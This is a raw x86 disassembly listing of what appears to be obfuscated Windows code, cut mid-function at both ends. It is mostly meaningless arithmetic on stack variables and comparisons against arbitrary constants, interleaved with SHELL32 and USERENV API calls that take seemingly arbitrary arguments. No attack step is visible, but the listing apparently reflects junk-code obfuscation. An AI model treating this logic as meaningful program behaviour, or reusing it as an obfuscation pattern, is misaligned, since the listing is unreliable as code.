mov dl, byte [ebp - 0x2e8e]
mov cl, byte [ebp - 0x5da5]
call fcn.004843f0
jmp 0x409d79
mov eax, dword [ebp - 0x55a8]
mov ecx, dword [ebp - 0x1f88]
add ecx, dword [eax]
mov edx, dword [ebp - 0x79dc]
mov dword [edx], ecx
movzx eax, byte [ebp - 0x2e8e]
mov ecx, dword [ebp - 0x21fc]
movzx edx, byte [ecx]
and eax, edx
mov ecx, dword [ebp - 0x3ebc]
movzx edx, byte [ecx]
movzx ecx, byte [ebp - 0x5da5]
add edx, ecx
cmp eax, edx
jne 0x409e6a
mov edx, dword [ebp - 0x4650]
mov eax, dword [edx]
mov dword [ebp - 0x9fa4], eax
mov ecx, dword [ebp - 0x6224]
mov dl, byte [ecx]
mov byte [ebp - 0xa300], dl
cmp byte [ebp - 0xa300], 0
je 0x409dcc
jmp 0x409e09
movzx eax, word [ebp - 0x8220]
mov ecx, dword [ebp - 0x3024]
movzx edx, word [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x3120]
mov word [ecx], ax
lea edx, [ebp - 0x86c0]
mov dword [ebp - 0x78dc], edx
mov eax, dword [ebp - 0xb60]
mov ecx, dword [ebp - 0x659c]
add ecx, dword [eax]
mov dword [ebp - 0x1a68], ecx
jmp 0x409e6a
mov edx, dword [ebp - 0x5cdc]
movsx eax, word [edx]
mov dword [ebp - 0xa304], eax
cmp dword [ebp - 0xa304], 0x5238
je 0x409e26
jmp 0x409e3c
mov ecx, dword [ebp - 0x110c]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x88e0]
mov dword [ebp - 0xc4], edx
jmp 0x409e6a
mov ecx, dword [ebp - 0x79dc]
mov edx, dword [ebp - 0xa14]
mov eax, dword [ecx]
or eax, dword [edx]
mov ecx, dword [ebp - 0x78dc]
mov edx, dword [ebp - 0x7e88]
mov ecx, dword [ecx]
xor ecx, dword [edx]
cmp eax, ecx
jb 0x483400
mov edx, dword [ebp - 0x3ebc]
mov al, byte [edx]
mov byte [ebp - 0xa308], al
cmp byte [ebp - 0xa308], 0x18
je 0x409eab
jmp 0x409eb9
mov ecx, dword [ebp - 0x1a68]
push ecx
call fcn.00484640
jmp 0x409f2b
mov edx, dword [ebp - 0x7f38]
mov ax, word [edx]
mov word [0x48e3d0], ax
mov ecx, dword [ebp - 0x6bb4]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x97b0]
movsx ecx, byte [eax]
sub edx, ecx
mov eax, dword [ebp - 0x40d0]
mov byte [eax], dl
lea ecx, [ebp - 0x5d05]
mov dword [ebp - 0x91f0], ecx
mov edx, dword [ebp - 0x66b8]
movzx eax, word [edx]
movzx ecx, word [section..data]
and eax, ecx
mov edx, dword [ebp - 0x206c]
mov word [edx], ax
mov eax, dword [ebp - 0x590]
mov dword [ebp - 0xaa0], eax
mov ecx, dword [ebp - 0x7ad0]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x5944]
mov dword [ebp - 0x10f8], edx
movsx eax, word [ebp - 0x86bc]
mov dword [ebp - 0xa30c], eax
cmp dword [ebp - 0xa30c], 0x6ccf
je 0x409f49
movzx edx, byte [ebp - 0x30a5]
movzx ecx, byte [ebp - 0x5d05]
shl edx, cl
mov eax, dword [ebp - 0x6dfc]
movzx ecx, byte [eax]
mov eax, dword [ebp - 0x3ebc]
movzx eax, byte [eax]
and ecx, eax
cmp edx, ecx
jge 0x4834ca
movzx ecx, word [ebp - 0x5728]
mov dword [ebp - 0xa3d0], ecx
cmp dword [ebp - 0xa3d0], 0x372
je 0x483447
jmp 0x483462
movzx edx, word [ebp - 0x39b0]
movzx eax, word [ebp - 0x4b34]
add edx, eax
mov ecx, dword [ebp - 0x206c]
mov word [ecx], dx
jmp 0x48347e
movzx ecx, byte [ebp - 0x5da5]
mov edx, dword [ebp - 0x6224]
movzx eax, byte [edx]
add ecx, eax
mov byte [ebp - 0x51c1], cl
mov ecx, dword [ebp - 0x97b0]
movzx edx, byte [ecx]
push edx
mov eax, dword [ebp - 0x5cdc]
movzx ecx, word [eax]
push ecx
mov edx, dword [ebp - 0x5858]
mov dl, byte [edx]
mov eax, dword [ebp - 0x5858]
mov cl, byte [eax]
call fcn.004843f0
mov edx, dword [ebp - 0x6e40]
mov ecx, dword [ebp - 0x2854]
shl edx, cl
mov eax, dword [0x48ed1c]
mov dword [eax], edx
movzx ecx, byte [ebp - 0x4429]
push ecx
mov edx, dword [ebp - 0x27f4]
movzx eax, word [edx]
push eax
mov dl, byte [ebp - 0x2e8e]
mov ecx, dword [ebp - 0x5ee0]
mov cl, byte [ecx]
call fcn.004843f0
jmp 0x483599
push 0x6b
lea edx, [ebp - 0x38ac]
push edx
call dword [sym.imp.SHELL32.dll_SHMultiFileProperties]
mov dword [ebp - 0x8498], eax
mov eax, dword [ebp - 0xa14]
mov ecx, dword [ebp - 0x86c0]
and ecx, dword [eax]
mov edx, dword [ebp - 0x79dc]
mov dword [edx], ecx
push 0x77
push 0x3a
push 0x40
mov eax, dword [ebp - 0x10c4]
push eax
call dword [sym.imp.SHELL32.dll_SHUpdateImageW]
mov ecx, dword [ebp - 0x3d88]
mov edx, dword [ecx]
add edx, dword [ebp - 0x8174]
mov dword [ebp - 0x8ef0], edx
mov eax, dword [ebp - 0x4424]
mov cl, byte [eax]
mov byte [ebp - 0xa3d4], cl
cmp byte [ebp - 0xa3d4], 0x96
je 0x4835b2
jmp 0x4835c8
mov edx, dword [ebp - 0x38ac]
mov eax, dword [ebp - 0x95d0]
xor eax, dword [edx]
mov ecx, dword [0x48e984]
mov dword [ecx], eax
movsx edx, byte [ebp - 0x43c5]
mov eax, dword [ebp - 0x8558]
movsx ecx, byte [eax]
or edx, ecx
mov eax, dword [ebp - 0xa038]
mov byte [eax], dl
movzx edx, word [section..data]
mov eax, dword [ebp - 0x5578]
movzx ecx, word [eax]
shl edx, cl
mov word [ebp - 0x5728], dx
jmp 0x483682
mov ecx, dword [ebp - 0x19b4]
mov edx, dword [ebp - 0x6e40]
sub edx, dword [ecx]
mov dword [ebp - 0x2708], edx
mov eax, dword [ebp - 0x19b4]
mov ecx, dword [eax]
mov edx, dword [0x48ebd4]
add ecx, dword [edx]
mov eax, dword [ebp - 0x693c]
mov dword [eax], ecx
movsx ecx, word [ebp - 0x5f08]
mov dword [ebp - 0xa3d8], ecx
cmp dword [ebp - 0xa3d8], 0x4e47
je 0x483647
jmp 0x483661
lea edx, [ebp - 0x2034]
push edx
lea eax, [ebp - 0x79e0]
push eax
call dword [sym.imp.SHELL32.dll_ILFindChild]
mov dword [ebp - 0x41a8], eax
movzx ecx, word [ebp - 0x5f08]
push ecx
mov edx, dword [ebp - 0x5ee0]
movzx eax, byte [edx]
push eax
mov ecx, dword [ebp - 0x66b8]
movzx edx, word [ecx]
push edx
call fcn.00484830
movzx eax, word [ebp - 0x86bc]
push eax
movzx ecx, byte [ebp - 0x5da5]
push ecx
movzx edx, word [ebp - 0x3ea8]
push edx
call fcn.00484830
mov eax, dword [ebp - 0x693c]
mov ecx, dword [eax]
mov edx, dword [0x48ebd4]
add ecx, dword [edx]
mov eax, dword [ebp - 0x4f00]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x110c]
mov edx, dword [ecx]
mov dword [ebp - 0xa3dc], edx
cmp dword [ebp - 0xa3dc], 0x32062772
je 0x4836e2
cmp dword [ebp - 0xa3dc], 0x6add8dea
je 0x483745
jmp 0x483766
lea eax, [ebp - 0x92a0]
push eax
mov ecx, dword [ebp - 0x2034]
push ecx
call dword [sym.imp.USERENV.dll_GetProfilesDirectoryW]
mov dword [ebp - 0x4e3c], eax
mov edx, dword [ebp - 0x3120]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x3024]
movzx edx, word [ecx]
and eax, edx
mov word [ebp - 0x5f10], ax
movzx eax, byte [ebp - 0x5da5]
mov ecx, dword [ebp - 0x6dfc]
movzx edx, byte [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x61e8]
mov byte [ecx], al
mov edx, dword [ebp - 0x2708]
add edx, dword [ebp - 0x95d0]
mov dword [ebp - 0x659c], edx
jmp 0x483766
lea eax, [ebp - 0x5f08]
push eax
mov ecx, dword [ebp - 0x4294]
push ecx
mov edx, dword [ebp - 0x8fc8]
push edx
call dword [sym.imp.SHELL32.dll_ExtractAssociatedIconW]
mov dword [ebp - 0x4d54], eax
mov eax, dword [ebp - 0x38ac]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x88e0]
mov dword [ebp - 0x6e40], ecx
mov edx, dword [ebp - 0x88e0]
xor edx, dword [ebp - 0x2708]
mov eax, dword [ebp - 0x38ac]
mov dword [eax], edx
movzx ecx, word [ebp - 0x4b34]
mov dword [ebp - 0xa3e0], ecx
cmp dword [ebp - 0xa3e0], 0xa05
je 0x4837ab
jmp 0x4837c1
mov edx, dword [ebp - 0x1234]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x5944]
shr eax, cl
mov dword [ebp - 0x4c04], eax
lea ecx, [ebp - 0x19b4]
push ecx
mov edx, dword [ebp - 0x7b24]
push edx
mov eax, dword [ebp - 0x60d0]
push eax
call dword [sym.imp.SHELL32.dll_ExtractAssociatedIconW]
mov dword [ebp - 0x4d54], eax
mov ecx, dword [ebp - 0x40d0]
movzx edx, byte [ecx]
push edx
call fcn.00484b30
add esp, 4
mov eax, dword [ebp - 0x5944]
mov dword [ebp - 0xa3e4], eax
cmp dword [ebp - 0xa3e4], 0x3f79f857
je 0x48380e
jmp 0x48383a
mov ecx, dword [ebp - 0x8880]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x1a68]
mov eax, dword [ebp - 0x4f00]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4650]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x693c]
add edx, dword [eax]
mov dword [ebp - 0x95d0], edx
mov ecx, dword [ebp - 0x3d88]
mov edx, dword [ecx]
sub edx, dword [0x48d008]
mov eax, dword [ebp - 0x3d88]
mov dword [eax], edx
lea ecx, [ebp - 0x8498]
push ecx
mov edx, dword [ebp - 0x8090]
push edx
mov eax, dword [ebp - 0x60d0]
push eax
call dword [sym.imp.SHELL32.dll_ExtractAssociatedIconW]
mov dword [ebp - 0x4d54], eax
mov ecx, dword [ebp - 0x3d88]
mov edx, dword [ebp - 0x86c0]
sub edx, dword [ecx]
mov dword [ebp - 0x27a4], edx
mov eax, dword [ebp - 0x110c]
mov ecx, dword [eax]
push ecx
call fcn.00484640
mov edx, dword [ebp - 0x7f38]
movzx eax, word [edx]
push eax
mov ecx, dword [ebp - 0x6dfc]
movzx edx, byte [ecx]
push edx
movzx eax, word [ebp - 0x3ea8]
push eax
call fcn.00484830
jmp 0x4838f4
mov ecx, dword [ebp - 0x5a0]
mov edx, dword [ebp - 0x3d88]
mov eax, dword [ecx]
and eax, dword [edx]
mov ecx, dword [ebp - 0x1234]
mov edx, dword [ebp - 0x86c0]
add edx, dword [ecx]
cmp eax, edx
jae 0x4838f4
mov eax, dword [ebp - 0x5ee0]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x6224]
movzx eax, byte [edx]
add ecx, eax
mov edx, dword [ebp - 0x5ee0]
mov byte [edx], cl
mov eax, dword [ebp - 0x38ac]
mov ecx, dword [ebp - 0xc4]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x8880]
mov dword [edx], ecx
movzx eax, word [ebp - 0x8220]
movzx ecx, word [ebp - 0x3ea8]
add eax, ecx
mov word [ebp - 0x5728], ax
lea edx, [ebp - 0x9f40]
push edx
lea eax, [ebp - 0x1234]
push eax
push 0x4c
push 0xb5
call dword [sym.imp.SHELL32.dll_SHChangeNotify]
mov ecx, dword [ebp - 0x659c]
push ecx
call fcn.00484640
mov dl, byte [ebp - 0x5d05]
mov byte [ebp - 0xa3e8], dl
cmp byte [ebp - 0xa3e8], 0x23
je 0x48395f
jmp 0x483977
mov eax, dword [ebp - 0x5ee0]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x30a5]
sub ecx, edx
mov byte [ebp - 0x5d05], cl
movsx eax, byte [ebp - 0x4429]
movsx ecx, byte [ebp - 0x3a69]
sub eax, ecx
mov edx, dword [ebp - 0x6bb4]
mov byte [edx], al
lea eax, [ebp - 0x4220]
push eax
call dword [sym.imp.SHELL32.dll_SHBrowseForFolderW]
mov dword [ebp - 0xdd0], eax
movzx ecx, byte [ebp - 0x3a69]
push ecx
call fcn.00484b30
add esp, 4
mov edx, dword [ebp - 0x8880]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x659c]
sar eax, cl
mov ecx, dword [ebp - 0x38ac]
mov edx, dword [ecx]
and edx, dword [ebp - 0x6e40]
cmp eax, edx
jl 0x4839d6
jmp 0x483a2b
lea eax, [ebp - 0x9f40]
push eax
mov ecx, dword [ebp - 0x20e4]
push ecx
call dword [sym.imp.SHELL32.dll_DragQueryPoint]
mov dword [ebp - 0x6f08], eax
mov edx, dword [ebp - 0x55a8]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x1234]
add eax, dword [ecx]
mov edx, dword [ebp - 0x5a0]
mov dword [edx], eax
mov eax, dword [ebp - 0x27f4]
movzx ecx, word [eax]
push ecx
mov edx, dword [ebp - 0x6dfc]
movzx eax, byte [edx]
push eax
mov ecx, dword [ebp - 0x206c]
movzx edx, word [ecx]
push edx
call fcn.00484830
mov eax, dword [ebp - 0x4f00]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0xc4]
mov edx, dword [ebp - 0x8880]
mov dword [edx], ecx
movzx eax, word [ebp - 0x86bc]
push eax
mov ecx, dword [ebp - 0x61e8]
movzx edx, byte [ecx]
push edx
mov eax, dword [ebp - 0x3120]
movzx ecx, word [eax]
push ecx
call fcn.00484830
mov edx, dword [ebp - 0x5ee0]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x5d05]
sub eax, ecx
mov byte [ebp - 0x5da5], al
mov edx, dword [ebp - 0x4650]
mov eax, dword [ebp - 0x4f00]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x4650]
mov dword [edx], ecx
jmp 0x483b3f
movsx eax, word [ebp - 0x7074]
add eax, 0x1de0
mov ecx, dword [ebp - 0x27f4]
movsx edx, word [ecx]
cmp eax, edx
jg 0x483b3f
mov al, byte [ebp - 0x4429]
mov byte [ebp - 0xa3ec], al
cmp byte [ebp - 0xa3ec], 3
je 0x483ad4
cmp byte [ebp - 0xa3ec], 0x30
je 0x483b2b
jmp 0x483b3f
mov ecx, dword [ebp - 0x6e40]
sub ecx, dword [ebp - 0x2854]
mov edx, dword [ebp - 0x19b4]
mov dword [edx], ecx
mov eax, dword [ebp - 0x8880]
mov ecx, dword [ebp - 0x95d0]
or ecx, dword [eax]
mov dword [ebp - 0x1a68], ecx
push 0x86
lea edx, [ebp - 0x659c]
push edx
lea eax, [ebp - 0x30a5]
push eax
push 0x8d
push 0x2e
mov ecx, dword [ebp - 0x4294]
push ecx
call dword [sym.imp.SHELL32.dll_SHDefExtractIconW]
mov dword [ebp - 0x8498], eax
jmp 0x483b3f
mov edx, dword [0x48d008]
xor edx, dword [ebp - 0x86c0]
mov eax, dword [ebp - 0x55a8]
mov dword [eax], edx
lea ecx, [ebp - 0x340c]
push ecx
call dword [sym.imp.SHELL32.dll_ILRemoveLastID]
mov dword [ebp - 0x6508], eax
mov edx, dword [ebp - 0x5578]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x5728]
add eax, ecx
mov word [ebp - 0x8220], ax
jmp 0x483bfb
movzx edx, word [ebp - 0x8220]
mov dword [ebp - 0xa3f0], edx
cmp dword [ebp - 0xa3f0], 0x3e6
je 0x483b8b
jmp 0x483ba3
movzx eax, byte [ebp - 0x30a5]
movzx ecx, byte [ebp - 0x51c1]
add eax, ecx
mov edx, dword [ebp - 0x5ee0]
mov byte [edx], al
mov eax, dword [ebp - 0x55a8]
mov ecx, dword [ebp - 0x1234]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x5a0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x71b4]
push ecx
call dword [sym.imp.SHELL32.dll_DragFinish]
mov edx, dword [ebp - 0xa038]
movzx eax, byte [edx]
push eax
mov ecx, dword [ebp - 0x6bb4]
movzx edx, byte [ecx]
push edx
movzx eax, byte [ebp - 0x4429]
push eax
mov ecx, dword [ebp - 0x97b0]
movzx edx, byte [ecx]
push edx
movzx eax, byte [ebp - 0x43c5]
push eax
call fcn.00484980
push 1
lea ecx, [ebp - 0x4c04]
push ecx
lea edx, [ebp - 0x6054]
push edx
call dword [sym.imp.SHELL32.dll_ILAppendID]
mov dword [ebp - 0x7790], eax
mov eax, dword [ebp - 0x6e40]
sub eax, dword [ebp - 0x659c]
mov ecx, dword [ebp - 0x8880]
mov dword [ecx], eax
mov edx, dword [ebp - 0x4650]
mov eax, dword [edx]
add eax, dword [ebp - 0x6e40]
mov dword [ebp - 0x95d0], eax
mov ecx, dword [ebp - 0x3d88]
mov edx, dword [ebp - 0x5944]
add edx, dword [ecx]
mov eax, dword [ebp - 0x1234]
mov dword [eax], edx
push 0xca
lea ecx, [ebp - 0x4d54]
push ecx
mov edx, dword [ebp - 0x2034]
push edx
mov eax, dword [ebp - 0x8c48]
push eax
mov ecx, dword [ebp - 0x2034]
push ecx
call dword [sym.imp.SHELL32.dll_SHGetNewLinkInfoW]
mov dword [ebp - 0xb88], eax
push 1
lea edx, [ebp - 0x1234]
push edx
lea eax, [ebp - 0x8d80]
push eax
call dword [sym.imp.SHELL32.dll_ILAppendID]
mov dword [ebp - 0x22d0], eax
mov ecx, dword [ebp - 0x3d88]
mov edx, dword [ebp - 0x1234]
mov eax, dword [ecx]
xor eax, dword [edx]
mov ecx, dword [ebp - 0x3d88]
mov dword [ecx], eax
mov edx, dword [ebp - 0x1234]
mov eax, dword [ebp - 0x86c0]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x3d88]
mov dword [ecx], eax
lea edx, [ebp - 0x4429]
push edx
mov eax, dword [ebp - 0x2034]
push eax
mov ecx, dword [ebp - 0x49b4]
push ecx
call dword [sym.imp.USERENV.dll_GetUserProfileDirectoryW]
mov dword [ebp - 0x8038], eax
push 0xe9
lea edx, [ebp - 0x8880]
push edx
mov eax, dword [ebp - 0x8c48]
push eax
mov ecx, dword [ebp - 0x8c48]
push ecx
mov edx, dword [ebp - 0x4294]
push edx
call dword [sym.imp.SHELL32.dll_SHGetNewLinkInfoW]
mov dword [ebp - 0x8e84], eax
mov eax, dword [ebp - 0x61e8]
mov cl, byte [eax]
mov byte [ebp - 0xa3f4], cl
cmp byte [ebp - 0xa3f4], 0xa9
je 0x483d33
jmp 0x483d35
jmp 0x483d4b
mov edx, dword [ebp - 0x3d88]
mov eax, dword [ebp - 0x4c04]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x1234]
mov dword [ecx], eax
mov edx, dword [ebp - 0x38ac]
mov eax, dword [ebp - 0x2854]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x4f00]
mov edx, dword [ebp - 0x19b4]
mov ecx, dword [ecx]
xor ecx, dword [edx]
cmp eax, ecx
je 0x483dba
mov edx, dword [ebp - 0x206c]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x4b34]
or eax, ecx
mov edx, dword [ebp - 0x206c]
mov word [edx], ax
mov eax, dword [ebp - 0x1234]
mov ecx, dword [ebp - 0x3d88]
mov edx, dword [eax]
mov ecx, dword [ecx]
shl edx, cl
mov dword [ebp - 0x590], edx
mov eax, dword [ebp - 0x4f00]
mov ecx, dword [ebp - 0x8880]
mov edx, dword [eax]
mov ecx, dword [ecx]
sar edx, cl
mov eax, dword [ebp - 0x19b4]
mov dword [eax], edx
lea ecx, [ebp - 0x3120]
push ecx
mov edx, dword [ebp - 0x8c48]
push edx
mov eax, dword [ebp - 0x10c8]
push eax
call dword [sym.imp.USERENV.dll_GetUserProfileDirectoryW]
mov dword [ebp - 0x8194], eax
mov ecx, dword [ebp - 0x8880]
mov edx, dword [ecx]
and edx, dword [ebp - 0x2854]
mov dword [ebp - 0x95d0], edx
mov eax, dword [ebp - 0x659c]
mov dword [ebp - 0xa3f8], eax
cmp dword [ebp - 0xa3f8], 0x10d55f64
je 0x483e09
jmp 0x483e33
mov ecx, dword [ebp - 0x1234]
mov edx, dword [ebp - 0x3d88]
mov eax, dword [ecx]
and eax, dword [edx]
mov ecx, dword [ebp - 0x1234]
mov dword [ecx], eax
movzx edx, byte [ebp - 0x4429]
push edx
call fcn.00484b30
add esp, 4
jmp 0x483e45
mov eax, dword [ebp - 0x659c]
add eax, dword [ebp - 0x2854]
mov dword [ebp - 0xc4], eax
jmp 0x483ec1
mov ecx, dword [ebp - 0x97b0]
mov dl, byte [ecx]
mov byte [ebp - 0xa3fc], dl
cmp byte [ebp - 0xa3fc], 0x6e
je 0x483e60
jmp 0x483e99
mov eax, dword [ebp - 0x6bb4]
movzx ecx, byte [eax]
push ecx
mov edx, dword [ebp - 0x97b0]
movzx eax, byte [edx]
push eax
mov ecx, dword [ebp - 0x6bb4]
movzx edx, byte [ecx]
push edx
mov eax, dword [ebp - 0x6bb4]
movzx ecx, byte [eax]
push ecx
mov edx, dword [ebp - 0xa038]
movzx eax, byte [edx]
push eax
call fcn.00484980
jmp 0x483ec1
lea ecx, [ebp - 0x6f08]
push ecx
lea edx, [ebp - 0x40e4]
push edx
lea eax, [ebp - 0x3e64]
push eax
mov ecx, dword [ebp - 0x86e8]
push ecx
call dword [sym.imp.SHELL32.dll_SHGetDiskFreeSpaceExA]
mov dword [ebp - 0x4510], eax
movzx edx, byte [ebp - 0x30a5]
movzx eax, byte [ebp - 0x5d05]
add edx, eax
movzx ecx, byte [ebp - 0x2e8e]
cmp edx, ecx
jle 0x483f6c
mov edx, dword [ebp - 0x3d88]
mov eax, dword [edx]
sub eax, dword [ebp - 0x5944]
mov ecx, dword [ebp - 0x1234]
mov dword [ecx], eax
mov edx, dword [ebp - 0x27f4]
movsx eax, word [edx]
mov dword [ebp - 0xa400], eax
cmp dword [ebp - 0xa400], 0x4f37
je 0x483f13
jmp 0x483f59
lea ecx, [ebp - 0x3d88]
push ecx
call dword [sym.imp.SHELL32.dll_ILClone]
mov dword [ebp - 0x7790], eax
mov edx, dword [ebp - 0x38ac]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x8880]
add eax, dword [ecx]
mov dword [ebp - 0x1a68], eax
movzx edx, word [ebp - 0x3ea8]
mov eax, dword [ebp - 0x3120]
movzx ecx, word [eax]
shl edx, cl
mov ecx, dword [ebp - 0x66b8]
mov word [ecx], dx
jmp 0x483f6c
lea edx, [ebp - 0x3e64]
push edx
call dword [sym.imp.SHELL32.dll_SHGetInstanceExplorer]
mov dword [ebp - 0xf38], eax
movzx eax, byte [ebp - 0x30a5]
movzx ecx, byte [ebp - 0x2e8e]
xor eax, ecx
mov byte [ebp - 0x5d05], al
mov edx, dword [ebp - 0x4f00]
mov eax, dword [ebp - 0xc4]
or eax, dword [edx]
mov ecx, dword [ebp - 0x8880]
mov dword [ecx], eax
jmp 0x483ffc
movzx edx, byte [ebp - 0x30a5]
movzx eax, byte [ebp - 0x2e8e]
or edx, eax
movzx ecx, byte [ebp - 0x5d05]
cmp edx, ecx
jne 0x483fcb
mov edx, dword [ebp - 0x1234]
mov eax, dword [edx]
xor eax, dword [ebp - 0x5944]
mov ecx, dword [ebp - 0x3d88]
mov dword [ecx], eax
lea edx, [ebp - 0x8fc8]
push edx
call dword [sym.imp.SHELL32.dll_SHSetInstanceExplorer]
mov eax, dword [ebp - 0x19b4]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x38ac]
add ecx, dword [edx]
mov dword [ebp - 0x2854], ecx
mov eax, dword [ebp - 0x4f00]
mov ecx, dword [eax]
push ecx
call fcn.00484640
mov dl, byte [ebp - 0x5d05]
mov byte [ebp - 0xa404], dl
cmp byte [ebp - 0xa404], 0xa3
je 0x484046
cmp byte [ebp - 0xa404], 0xe3
je 0x48401c
jmp 0x484063
lea eax, [ebp - 0x7074]
push eax
lea ecx, [ebp - 0x20e4]
push ecx
lea edx, [ebp - 0x4b34]
push edx
mov eax, dword [ebp - 0x8c48]
push eax
call dword [sym.imp.SHELL32.dll_SHGetDiskFreeSpaceExW]
mov dword [ebp - 0x3e28], eax
jmp 0x484063
movzx ecx, word [ebp - 0x7074]
push ecx
movzx edx, byte [ebp - 0x5d05]
push edx
movzx eax, word [ebp - 0x4b34]
push eax
call fcn.00484830
movzx ecx, word [ebp - 0x4b34]
add ecx, 0x53e
movzx edx, word [ebp - 0x3ea8]
cmp ecx, edx
jl 0x484113
mov eax, dword [ebp - 0x659c]
mov dword [ebp - 0xa408], eax
cmp dword [ebp - 0xa408], 0xa300b55
je 0x4840a5
cmp dword [ebp - 0xa408], 0x7cbf70c7
je 0x4840fb
jmp 0x484113
lea ecx, [ebp - 0x9a8]
push ecx
call dword [sym.imp.SHELL32.dll_SHSetInstanceExplorer]
mov edx, dword [ebp - 0x8880]
mov eax, dword [ebp - 0x4f00]
mov ecx, dword [edx]
or ecx, dword [eax]
mov dword [ebp - 0x1a68], ecx
mov edx, dword [ebp - 0x8880]
mov eax, dword [ebp - 0x659c]
xor eax, dword [edx]
mov ecx, dword [ebp - 0x19b4]
mov dword [ecx], eax
mov edx, dword [ebp - 0x3d88]
mov eax, dword [edx]
mov dword [ebp - 0x590], eax
lea ecx, [ebp - 0x19b4]
push ecx
call dword [sym.imp.SHELL32.dll_SHSetInstanceExplorer]
jmp 0x484113
mov edx, dword [ebp - 0x8880]
mov eax, dword [ebp - 0x95d0]
mov ecx, dword [edx]
shl eax, cl
mov ecx, dword [ebp - 0x4f00]
mov dword [ecx], eax
mov edx, dword [ebp - 0x3d88]
mov eax, dword [edx]
and eax, dword [ebp - 0x1c44]
mov ecx, dword [ebp - 0x3d88]
mov dword [ecx], eax
push 0x70
mov edx, dword [ebp - 0x40e4]
push edx
push 0x32
mov eax, dword [ebp - 0x20e4]
push eax
call dword [sym.imp.SHELL32.dll_DragQueryFileW]
mov dword [ebp - 0x590], eax
mov ecx, dword [ebp - 0x4f00]
mov edx, dword [ebp - 0x19b4]
mov eax, dword [ecx]
and eax, dword [edx]
mov ecx, dword [ebp - 0x8880]
mov dword [ecx], eax
mov edx, dword [ebp - 0x659c]
add edx, dword [ebp - 0x95d0]
mov dword [ebp - 0xc4], edx
mov eax, dword [ebp - 0x4f00]
mov ecx, dword [eax]
mov dword [ebp - 0xa40c], ecx
cmp dword [ebp - 0xa40c], 0x30c1d1f9
je 0x48418f
jmp 0x4841a7
mov edx, dword [ebp - 0x1234]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x5944]
shl eax, cl
mov ecx, dword [ebp - 0x1234]
mov dword [ecx], eax
push 0xce
lea edx, [ebp - 0x4b34]
push edx
lea eax, [ebp - 0x3d88]
push eax
push 0x7e
mov ecx, dword [ebp - 0x40e4]
push ecx
call dword [sym.imp.SHELL32.dll_ExtractIconExW]
mov dword [ebp - 0x5944], eax
movsx edx, byte [ebp - 0x43c5]
mov eax, dword [ebp - 0x97b0]
movsx ecx, byte [eax]
add edx, ecx
mov byte [ebp - 0x4429], dl
mov edx, dword [ebp - 0x4f00]
mov eax, dword [ebp - 0xc4]
mov ecx, dword [edx]
sar eax, cl
mov ecx, dword [ebp - 0x19b4]
mov dword [ecx], eax
mov dl, byte [ebp - 0x43c5]
mov byte [ebp - 0xa410], dl
cmp byte [ebp - 0xa410], 0x5a
je 0x484218
jmp 0x48422b
movzx eax, word [ebp - 0x3ea8]
xor eax, 0x746
mov word [ebp - 0x4b34], ax
lea ecx, [ebp - 0x3ea8]
push ecx
call dword [sym.imp.SHELL32.dll_SHSetInstanceExplorer]
mov dl, byte [ebp - 0x43c5]
mov byte [ebp - 0xa414], dl
cmp byte [ebp - 0xa414], 0x73
je 0x48424f
jmp 0x484260
mov eax, dword [ebp - 0x1c44]
sub eax, 0x35c93c8e
mov dword [ebp - 0x1c44], eax
push 0xc9
mov ecx, dword [ebp - 0x49b4]
push ecx
call sub.SHELL32.dll_SHTestTokenMembership
mov dword [ebp - 0x3e28], eax
movzx edx, byte [ebp - 0x43c5]
push edx
call fcn.00484b30
add esp, 4
mov eax, dword [ebp - 0x4294]
push eax
call dword [sym.imp.SHELL32.dll_ILCreateFromPathW]
mov dword [ebp - 0x20f0], eax
mov cl, byte [ebp - 0x43c5]
mov byte [ebp - 0xa418], cl
cmp byte [ebp - 0xa418], 0x49
je 0x4842b1
jmp 0x4842b3
jmp 0x4842bd
mov dword [ebp - 0x1c44], 0x4349e4fc
cmp dword [ebp - 0x1c44], 0xb33c9a99
je 0x4842e3
lea edx, [ebp - 0x40e4]
push edx
mov eax, dword [ebp - 0x40e4]
push eax
call dword [sym.imp.USERENV.dll_GetProfilesDirectoryW]
mov dword [ebp - 0x6f08], eax
movsx ecx, byte [ebp - 0x43c5]
sar ecx, 1
mov byte [ebp - 0x43c5], cl
movzx edx, byte [ebp - 0x43c5]
push edx
movzx eax, byte [ebp - 0x43c5]
push eax
movzx ecx, byte [ebp - 0x43c5]
push ecx
movzx edx, byte [ebp - 0x43c5]
push edx
movzx eax, byte [ebp - 0x43c5]
push eax
call fcn.00484980
lea ecx, [ebp - 0x6a94]
push ecx
mov edx, dword [ebp - 0x6c94]
push edx
call dword [sym.imp.SHELL32.dll_DragQueryPoint]
mov dword [ebp - 0x4510], eax
jmp 0x4843c5
movsx eax, byte [ebp - 0x43c5]
cmp eax, 0x1d
jg 0x4843ab
mov cl, byte [ebp - 0x43c5]
mov byte [ebp - 0xa41c], cl
cmp byte [ebp - 0xa41c], 0xe
je 0x484396
cmp byte [ebp - 0xa41c], 0x11
je 0x48436a
jmp 0x4843a9
